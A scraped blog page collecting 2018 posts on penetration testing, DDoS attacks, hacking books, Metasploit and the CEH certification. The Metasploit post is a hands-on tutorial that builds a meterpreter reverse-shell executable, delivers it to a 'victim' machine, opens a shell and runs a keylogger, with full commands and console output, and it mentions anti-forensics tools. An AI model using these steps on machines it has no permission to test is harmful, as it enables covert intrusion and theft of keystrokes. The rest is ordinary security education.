What Is Penetration Testing?

What Is Penetration Testing?

What Is Penetration Testing?   June 25, 2018

What Is Penetration Testing?

A penetration test, also known as a pen test, is a simulated cyberattack against your computer system to check for exploitable vulnerabilities. In the context of web application security, penetration testing is commonly used to augment a web application firewall (WAF).

Pen testing can involve the attempted breaching of any number of application systems, (e.g., application protocol interfaces (APIs), frontend/backend servers) to uncover vulnerabilities, such as unsanitized inputs that are susceptible to code injection attacks.

Insights provided by the penetration test can be used to fine-tune your WAF security policies and patch detected vulnerabilities.

The process typically identifies the target systems and a particular goal—then reviews available information and undertakes various means to attain the goal. A penetration test target may be a white box (which provides background and system information) or black box (which provides only basic or no information except the company name). A penetration test can help determine whether a system is vulnerable to attack if the defenses were sufficient, and which defenses (if any) the test defeated.

Security issues that the penetration test uncovers should be reported to the system owner. Penetration test reports may also assess potential impacts to the organization and suggest countermeasures to reduce risk.

The goals of a penetration test vary depending on the type of approved activity for any given engagement with the primary goal focused on finding vulnerabilities that could be exploited by a nefarious actor and informing the client of those vulnerabilities along with recommended mitigation strategies.

Penetration tests are a component of a full security audit. For example, the Payment Card Industry Data Security Standard requires penetration testing on a regular schedule, and after system changes.

Flaw hypothesis methodology is a systems analysis and penetration prediction technique where a list of hypothesized flaws in a software system are compiled through analysis of the specifications and documentation for the system. The list of hypothesized flaws is then prioritized on the basis of the estimated probability that a flaw actually exists, and on the ease of exploiting it to the extent of control or compromise. The prioritized list is used to direct the actual testing of the system.

PENETRATION TESTING STAGES

The pen testing process can be broken down into five stages.

1. Planning and reconnaissance
The first stage involves:
• Defining the scope and goals of a test, including the systems to be addressed and the testing methods to be used.
• Gathering intelligence (e.g., network and domain names, mail server) to better understand how a target works and its potential vulnerabilities.
2. Scanning
The next step is to understand how the target application will respond to various intrusion attempts. This is typically done using:
• Static analysis – Inspecting an application’s code to estimate the way it behaves while running. These tools can scan the entirety of the code in a single pass.
• Dynamic analysis – Inspecting an application’s code in a running state. This is a more practical way of scanning, as it provides a real-time view into an application’s performance.
3. Gaining access
This stage uses web application attacks, such as cross-site scripting, SQL injection and backdoors, to uncover a target’s vulnerabilities. Testers then try and exploit these vulnerabilities, typically by escalating privileges, stealing data, intercepting traffic, etc., to understand the damage they can cause.
4. Maintaining access
   The goal of this stage is to see if the vulnerability can be used to achieve a persistent presence in the exploited system— long enough for a bad actor to gain in-depth access. The idea is to imitate advanced persistent threats, which often remain in a system for months in order to steal an organization’s most sensitive data.
5. Analysis
The results of the penetration test are then compiled into a report detailing:
• Specific vulnerabilities that were exploited
• Sensitive data that was accessed
• The amount of time the pen tester was able to remain in the system undetected
This information is analyzed by security personnel to help configure an enterprise’s WAF settings and other application security solutions to patch vulnerabilities and protect against future attacks.

PENETRATION TESTING METHODS

EXTERNAL TESTING

External penetration tests target the assets of a company that are visible on the internet, e.g., the web application itself, the company website, and email and domain name servers (DNS). The goal is to gain access and extract valuable data.

INTERNAL TESTING

In an internal test, a tester with access to an application behind its firewall simulates an attack by a malicious insider. This isn’t necessarily simulating a rogue employee. A common starting scenario can be an employee whose credentials were stolen due to a phishing attack.

BLIND TESTING

In a blind test, a tester is only given the name of the enterprise that’s being targeted. This gives security personnel a real-time look into how an actual application assault would take place.

DOUBLE BLIND TESTING

In a double blind test, security personnel have no prior knowledge of the simulated attack. As in the real world, they won’t have any time to shore up their defenses before an attempted breach.

TARGETED TESTING

In this scenario, both the tester and security personnel work together and keep each other appraised of their movements. This is a valuable training exercise that provides a security team with real-time feedback from a hacker’s point of view.

PENETRATION TESTING AND WEB APPLICATION FIREWALLS

Penetration testing and WAFs are exclusive, yet mutually beneficial security measures.

For many kinds of pen testing (with the exception of blind and double blind tests), the tester is likely to use WAF data, such as logs, to locate and exploit an application’s weak spots.

In turn, WAF administrators can benefit from pen testing data. After a test is completed, WAF configurations can be updated to secure against the weak spots discovered in the test.

Finally, pen testing satisfies some of the compliance requirements for security auditing procedures, including PCI DSS and SOC 2. Certain standards, such as PCI-DSS 6.6, can be satisfied only through the use of a certified WAF. Doing so, however, doesn’t make pen testing any less useful due to its aforementioned benefits and ability to improve on WAF configurations.

What Is a Penetration Testing Tool?

Penetration testing tools are used as part of a penetration test(Pen Test) to automate certain tasks, improve testing efficiency and discover issues that might be difficult to find using manual analysis techniques alone. Two common penetration testing tools are static analysis tools and dynamic analysis tools. CA Veracode performs both dynamic and static code analysis and finds security vulnerabilities that include malicious code as well as the absence of functionality that may lead to security breaches. For example, CA Veracode can determine whether sufficient encryption is employed and whether a piece of software contains any application backdoors through hard-coded user names or passwords. CA Veracode's binary scanning approach produces more accurate testing results, using methodologies developed and continually refined by a team of world-class experts. And because CA Veracode returns fewer false positives, penetration testers and developers can spend more time remediating problems and less time sifting through non-threats.

Manual Penetration Test

Manual penetration testing layers human expertise on top of professional penetration testing software and tools, such as automated binary static and automated dynamic analysis, when assessing high assurance applications. A manual penetration test(Pen Test) provides complete coverage for standard vulnerability classes, as well as other design, business logic and compound flaw risks that can only be detected through manual testing.

Penetration Testing Methodology

Once the threats and vulnerabilities have been evaluated, the penetration testing should address the risks identified throughout the environment. The penetration testing should be appropriate for the complexity and size of an organization. All locations of sensitive data; all key applications that store, process or transmit such data; all key network connections; and all key access points should be included. The penetration testing should attempt to exploit security vulnerabilities and weaknesses throughout the environment, attempting to penetrate both at the network level and key applications. The goal of penetration testing is to determine if unauthorized access to key systems and files can be achieved. If access is achieved, the vulnerability should be corrected and the penetration testing re-performed until the test is clean and no longer allows unauthorized access or other malicious activity.

WHAT IS DDOS ATTACK?

WHAT IS DDOS ATTACK?

WHAT IS DDOS ATTACK?   June 25, 2018

WHAT IS DDOS ATTACK?

In computing, a denial-of-service attack (DoS attack) is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting services of a host connected to the Internet. Denial of service is typically accomplished by flooding the targeted machine or resource with superfluous requests in an attempt to overload systems and prevent some or all legitimate requests from being fulfilled.

In a distributed denial-of-service attack (DDoS attack), the incoming traffic flooding the victim originates from many different sources. This effectively makes it impossible to stop the attack simply by blocking a single source.

A DoS or DDoS attack is analogous to a group of people crowding the entry door of a shop, making it hard for legitimate customers to enter, disrupting trade.

Criminal perpetrators of DoS attacks often target sites or services hosted on high-profile web servers such as banks or credit card payment gateways. Revenge, blackmail and activism can motivate these attacks.

How DDoS Attacks Work

In a DDoS attack, the incoming traffic flooding the victim originates from many different sources – potentially hundreds of thousands or more. This effectively makes it impossible to stop the attack simply by blocking a single IP address; plus, it is very difficult to distinguish legitimate user traffic from attack traffic when spread across so many points of origin.

The Difference Between DoS and DDos Attacks

A Denial of Service (DoS) attack is different from a DDoS attack. The DoS attack typically uses one computer and one Internet connection to flood a targeted system or resource. The DDoS attack uses multiple computers and Internet connections to flood the targeted resource. DDoS attacks are often global attacks, distributed via botnets.

Types of DDoS Attacks

There are many types of DDoS attacks. Common attacks include the following:

• Traffic attacks: Traffic flooding attacks send a huge volume of TCP, UDP and ICPM packets to the target. Legitimate requests get lost and these attacks may be accompanied by malware exploitation.
• Bandwidth attacks: This DDos attack overloads the target with massive amounts of junk data. This results in a loss of network bandwidth and equipment resources and can lead to a complete denial of service.
• Application attacks: Application-layer data messages can deplete resources in the application layer, leaving the target's system services unavailable.

6 Best Hacking Books You Must Read to be a Hacker

6 Best Hacking Books You Must Read to be a Hacker

Programming   June 24, 2018

6 Best Hacking Books You Must Read to be a Hacker

Looking for best best hacking books? We have short listed some of the highly recommended books for beginners and advanced hackers. The ethical hacking books may help you get the best security professional job you aspire.

The job of a ethical hacker is to perform hacking to protect from crackers (unethical hackers). Some of these hacking books for beginners are about basic concepts, whereas other books focus on more advanced hacking techniques that experienced hacker can use.

Hacking is considered to be a two-way tool wherein a computer system is penetrated either to make it more secure or to create mischief. Ethical hackingis defined as making use of programming skills, so as to penetrate a computer system, and determine its vulnerabilities. The ethical hackers are skilled computer experts, often called as the "white hats". As against non-ethical hackers or "black hats" that penetrate into a computer system and exploit it for their own personal gains or mischief, the “white hats” evaluate and point out the vulnerabilities of system software, and suggest system changes to make it less penetrable.

With an increase in the use of Internet, concerns regarding its security have also grown manifold. This is particularly true in the case of highly confidential data. There have been past instances where the sites owned by even the most influential organizations have been hacked. This calls for designing systems which are impenetrable or an identification of the weaknesses of an existing system. Due to this reason, there is now a high demand for computer experts who can conduct ethical hacking operations.

Most of the organizations seek to acquire ethical hacking services from full-time employees or consultants so as to ensure security of their systems and information, thus making ethical hacking a highly lucrative profession.

Are you willing to become an ethical hacker? One of the best way is to start reading books about hacking and try it yourself. Some of the best how to hack books that an aspiring ethical hacker must read are:

Hacking: The Art of Exploitation, 2nd Edition

This hacking book is a must read for beginners. This book focuses on many common obstacles people face during beginning of the ethical hacking job. This book can help beginners do their job more efficiently.

This is one of the best books which will take you through the technicalities of areas like programming, shell code and exploitation. Regardless of whether you are a beginner or have very little hacking knowledge, this book will help you understand the complexities of the digital security tasks.

This excellent and well written book will make you learn all the clever stuff of getting access to a system. All in all, the best book to buy.

The Basics of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy (Syngress Basics Series)

The best thing about this book is that it covers all the basics of penetration testing and hacking, without assuming that the reader has any prior hacking knowledge. It provides a step-by-step journey of penetration testing, moving from Information Gathering to Scanning, Exploitation and finally, Report Writing.

Instead of dealing with individual concepts in-depth, this book will provide you with a wholesome picture of hacking.

Metasploit: The Penetration Tester's Guide

This book deals with Penetration Testing by making use of the open source Metasploit Framework testing. It is suitable for readers who have no prior knowledge of Metasploit. The tutorial-like style of the book makes you learn things by doing them.

The ending of the book provides you with an actual penetration test’s simulated version so as to provide you with a realistic experience.

BackTrack 5 Wireless Penetration Testing Beginner's Guide

Right from the beginning, this book gives you what you need, without wasting time in unnecessary justifications. Instead of explaining only theoretical concepts, the book consists of finely tuned and crystal clear tutorials. It provides a good mix of basics and high level knowledge and works cohesively with the reader.

CEH Certified Ethical Hacker All-in-One Exam Guide

This is undoubtedly one of the most well written books of all times. It provides crisp and clear writing with relevant examples along with a humorous touch to enliven the dry and mundane subject. The contents of the book are well organized in a neither too chatty nor too dry manner. However, you require some basic networking background to derive full benefits from this book.

CompTIA Security+: Get Certified Get Ahead: SY0-301 Study Guide

This certification book is easy to read, straightforward and explains some of the complex topics in an excellent manner. All you need to do in order to pass the test is to read the book and do the practice exercises.

In addition to this, the “remember this sections” and the content headers highlight all the key topics that one must pay attention to. So, if you wish to straightaway get down to the study material without wasting time on esoteric gibberish, this is the book for you.

Although, hacking may sound like an interesting area of study, when it comes to the application of the various concepts of penetration testing, it is easier said than done. In addition to having an educational background in the field of computer science, the hackers must have an affinity to learning and acquiring new skills on an ongoing basis. Also, the ethical hackers must possess out-of-the box thinking so that they are able to come with maximum number of possible ways of designing and securing a computer system.

What Is Metasploit?

What Is Metasploit?

What Is Metasploit?   June 24, 2018

What Is Metasploit?

Metaspoit Framework is a open source penetration tool used for developing and executing exploit code against a remote target machine it, Metasploit frame work has the world’s largest database of public, tested exploits. In simple words, Metasploit can be used to test the Vulnerability of computer systems in order to protect them and on the other hand it can also be used to break into remote systems.

Its a powerful tool used for penetration testing. Learning to work with metasploit needs a lot of efforts and time. Ofcourse to can learn metasploit overnight, it needs lots of practice and patience.

Just give a look at following basic steps for beginners to break into a system using metasploit after gathering some information about the target system.1. Select a right exploit and then set the target.

2.Verify the exploit options to determine whether the target system is vulnerable to the exploit.
3.Select a payload
4.Execute the exploit.

You must be confused !!!!

Now carefully read the following basic terms to get an idea about these four steps mentioned above .I have defined the terms technically and side by side explained in layman language to clarify the things. I have taken an example that an attacker wants to break into a house . I hope my this approach will give you a great idea about these basic terms .

How To Use Metasploit Explained With Exmaple

If you are really interested in network security, chances are you must have heard of the Metasploit over the last few years.

Now, have you ever wondered what someone can do to your PC, by just knowing your IP. Here’s the answer. He could 0wN you, or in other words , he could have full access to your PC provided you have just a few security loopholes which may arise cause of even a simple reason like not updating your Flash player last week, when it prompted you to do so.

Metasploit is a hacker’s best friend, mainly cause it makes the job of exploitation and post-exploitation a lot easier compared to other traditional methods of hacking.

The topic Metasploit is very vast in itself.However, i’ll try keeping it basic and simple so that it could be understood by everyone here. Also, Metasploit can be used with several other tools such as NMap or Nessus (all these tools are present in Backtrack ).

In this tutorial, i’ll be teaching you how to exploit a system using a meterpreter payload and start a keylogger on the victim’s machine.
Hacking through Metasploit is done in 3 simple steps: Point, Click, 0wn.

Before I go into the details of The Metasploit Framework, let me give you a little idea of some basic terms (may seem boring at first, but you must be knowing them)
Vulnerability: A flaw or weakness in system security procedures, design or implementation that could be exploited resulting in notable damage.

Exploit: A piece of software that take advantage of a bug or vulnerability, leading to privilege escalation or DoS attacks on the target.

Overflow: Error caused when a program tries to store data beyond its size. Maybe used by an attacker to execute malicious codes.

Payload: Actual code which runs on the compromised system after exploitation

Now, what Metasploit IS?

It is an open source penetration testing framework, used for developing and executing attacks against target systems. It has a huge database of exploits, also it can be used to write our own 0-day exploits.

METASPLOIT ANTI FORENSICS:

Metasploit has a great collection of tools for anti forensics, making the forensic analysis of the compromised computer little difficult. They are released as a part ofMAFIA(Metasploit Anti Forensic Investigation Arsenal). Some of the tools included are Timestomp, Slacker, Sam Juicer, Transmogrify.

Metasploit comes in the following versions:

1. CLI (Command Line Interface)
2. Web Interface
3. MSF Console
4. MSFwx
5. MSFAPI

I would recommend using the MSF Console because of its effectiveness & powerful from a pentester’s P0V. Another advantage of this mode is, several sessions of msfconsole could be run simultaneously.

I would recommend you doing the following things in Metasploit, on a Backtrack(system or image), avoiding the windows version of the tool.

For those of all who don’t know, Backtrack is a linux distro especially for security personals, including all the tools required by a pentester.

Download Backtrack from here. You can download the ISO or VMware image, according to the one you’re comfortable with. If you have 2 access to more than 1 system physically, then go for the ISO image and install it on your hard disk.

Let the Hacking Begin :

Open up backtrack. You should have a screen similar to this.

The default login credentials are:
Username: root
Pass: toor
Type in
root@bt:~#/etc/init.d/wicd start
to start the wicd manager
Finally, type “startx” to start the GUI mode:
root@bt:~#startx

First of all, know your Local Ip. Opening up a konsole (on the bottom left of taskbar) and typing in:

root@bt:~#ifconfig

It would be something like 192.168.x.x or 10.x.x.x.

Have a note of it.

Now,

Launch msfconsole by going to Applications>>Backtrack>>Metasploit Engineering Framework>>Framework Version 3>>msfconsole

You should now be having a shell something similar to a command prompt in windows.

msf >

Let’s now create an executable file which establishes a remote connection between the victim and us, using the meterpreter payload.

Open another shell window (”Session>>New Shell” or click on the small icon on the left of the shell tab in the bottom left corner of the window)


root@bt:/opt/metasploit3/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=”your local ip” LPORT=”any port you wish” x > /root/reverse_tcp.exe
Your local IP is the one you noted earlier and for port you could select 4444.
(Everything has to be entered without quotes)
You should get something like this:
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.255.130,LPORT=4444
root@bt:/opt/metasploit3/msf3#
Also, now on your backtrack desktop, you would be seeing a reverse_tcp.exe file.

Migrate it to your other computer in the same local network using a thumb drive or by uploading it online.

Now open the 1st shell window with msfconsole in it.
msf >
Type the following:
msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.255.130
LHOST => 192.168.255.130
msf exploit(handler) > set LPORT 4444
LPORT => 4444

All the connections are done. You have already made an executable file which makes a reverse connection to you.

And now, you have set the meterpreter to listen to you on port 4444.

The last step you have to do now, is to type in “exploit” and press enter,

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.255.130:4444
[*] Starting the payload handler…
Now, the payload is listening for all the incoming connections on port 444.
[*] Sending stage (749056 bytes) to 192.168.255.1
[*] Meterpreter session 1 opened (192.168.255.130:4444 -> 192.168.255.1:62853) at Sun Mar 13 11:32:12 -0400 2011
You would see a meterpreter prompt like this
meterpreter >
Type in ps to list the active processes
meterpreter > ps

Search for explorer.exe and migrate to the process
meterpreter > migrate 5716
[*] Migrating to 5716…
[*] Migration completed successfully.
meterpreter >

Type in the following:

meterpreter > use priv

Now, if you want to start the Keylogger activity on victim, just type keyscan_start

Now, if you want to go to the victim’s computer,
Jus type shell
meterpreter > shell
Process 5428 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>

You would now be having a command prompt,
Type in whoami, to see the computer’s name of victim :
C:\Windows\system32>whoami
whoami
win7-pc\win 7
C:\Windows\system32>

Let’s suppose you want to start a notepad on the victim’s computer.
Type in:
Let’s say the victim has typed in anything on his computer.
Just type exit, to return to meterpreter.
Now type in keyscan_dump, to see all the typed keystrokes :
meterpreter > keyscan_dump
Dumping captured keystrokes…

GaM3 0V3R

P.S.: The above information is just for educational purposes only. You should test it against the computer you own.

Credits To-Skyspace.in

How to Become a Certified Ethical Hacker

Hacking   June 22, 2018

How to Become a Certified Ethical Hacker

Hey Guys!I am Srijan and today i will tell you about how to become Certified Ethical Hacker.I collect many information from so many websites.So i will share this to you.Hope you will Like IT!!So Let's start

“Hacker” didn't start out as a bad word, but it's evolved into one, thanks to hackers of the malicious kind. Despite how oxymoronic the term “ethical hacker” may seem, the Certified Ethical Hacker credential is no joke.

Certified Ethical Hacker, CEH for short, is a computer certification that indicates proficiency in network security, especially in thwarting malicious hacking attacks through pre-emptive countermeasures.

Malicious hacking is a felony in the U.S. and most other countries, but catching criminals requires the same technical skills that hackers possess.

As security breaches continue to grow both in frequency and in the amount of damage they cause (according to Symantec, the average organization incurred $470,000 in losses from endpoint cyber attacks in 2011), penetration testing is becoming increasingly important for organizations of all sizes. For IT professionals seeking to expand their knowledge in that area, the EC-Council's Certified Ethical Hacker (CEH) credential offers a solid base of expertise.

According to EC-Council senior director Steven Graham, the organization first began offering the credential in 2003. "At that point, there was a gap in education and certification programs training IT security practitioners," he says. "We saw good coverage in the market for security fundamentals and getting people generally aware of networks … but there was pretty limited availability of programs for people to learn how to truly defend a network."

The initial idea behind Certified Ethical Hacker, Graham says, was simple – to beat a hacker, you have to think like one. "So the original program was written from the perspective of, 'What are the steps that a typical hacker would take to break into a network, a government system, or any company?'" he says.

The program is focused primarily on establishing a consistent, methodical approach. "We wanted to baseline the skills and give people the exact phases they need to go through, regardless of what they're evaluating … so you're going to start with reconnaissance, you're going to find everything out about your target that you possibly can," Graham says. "Once you've finished the reconnaissance stage, you're going to find small weaknesses, and then it's all about enumeration – if I find one weakness, can I find 100 of the same weakness in that organization? And then they pick their point of entry."

About the CEH

The CEH credential is a vendor-neutral certification for information technology professionals who wish to specialize in stopping and identifying malicious hackers by using the same knowledge and tools the criminals use.

Even before the credential was introduced, private firms and government agencies were hiring reformed malicious hackers because they believed that was the best method for securing their networks. The CEH credential takes this a step further by requiring those who earn it to agree in writing to abide by the law and honor a code of ethics.

The credential is sponsored by the International Council of E-Commerce Consultants (EC-Council), a member-supported professional organization. Its goal, according to its website, is to establish and maintain standards and credentials for ethical hacking as a profession and to educate IT professionals and the public on the role and value of such specialists.

In addition to CEH certification, the EC-Council offers several other certifications relevant for network security jobs, as well as those for secure programming, e-business, and computer forensics jobs. Certification proficiency levels range from entry-level to consultant (independent contractor).

How to Become a CEH

Students who have a minimum of two years of security-related job experience can apply for approval to take the EC-Council exam. Those without two years of experience will be required to attend training at an accredited training center, through an approved online program, or at an approved academic institution. These requirements prepare applicants for the exam and help screen out malicious hackers and hobbyists.

As of 2018, the courseware price for the 5-day certification course was $850. The application fee for those seeking to bypass the training course was $100, and the exam voucher price was $950.

The Course

The CEH Training Program prepares students to take the CEH exam. It consists of 18 modules covering 270 attack technologies and mimics real-life scenarios in 140 labs. The course is run on an intensive five-day schedule with training from 9 a.m.-5 p.m.

In the end, the goal is for students to be ready for the exam in addition to being ready to handle whatever penetration testing or ethical hacking scenarios come their way in their IT security careers.

The Exam

The 312-50 exam lasts four hours, is comprised of 125 multiple choice questions, and tests CEH candidates on the following 18 areas:

• Introduction to Ethical Hacking
• Footprinting and Reconnaissance
• Scanning Networks
• Enumeration
• System Hacking
• Malware Threats
• Sniffing
• Social Engineering
• Denial of Service
• Session Hijacking
• Hacking Webservers
• Hacking Web Applications
• SQL Injection
• Hacking Wireless Networks
• Hacking Mobile Platforms
• Evading IDS, Firewalls, and Honeypots
• Cloud Computing
• Cryptography

Job Outlook

IT security is a fast-growing field, and the U.S. Bureau of Labor Statistics (BLS) projects job growth at a rate of 28 percent for the decade ending in 2016. This is far greater than job growth of 7 percent projected for all professions combined. The median annual wage for IT security analysts, as of 2017, was about $95,000, according to the BLS.

A quick search on Indeed shows that many security jobs require or recommend a CEH credential, so candidates who possess one will be more marketable.

Most jobs CEH-credentialed professionals will pursue put candidates through background checks or more rigid personnel security investigations (PSIs). Security clearances likely will be required at government agencies or private firms with government contracts.

Success Stories

Many of the high-profile stories about ethical hackers involve the biggest companies in technology. Companies like Apple, Google, and more will challenge ethical hackers to break their security measures in order to help them find weaknesses and to make their products safer. They often will offer a lot of money to anyone who can find a weakness.

In 2016, Nimbus Hosting listed some of the more famous success stories of ethical hackers. Among them are examples of a security team offering a reward to anyone who could take over an iPhone or iPad, and an anonymous hacker who went by the name Pinkie Pie who helped identify a bug in Google Chrome. Not all of these examples involve professionals following the CEH-certification route, but they show the value companies place on hiring hackers to help shore up network security.

Regards,

EZTechnicalBots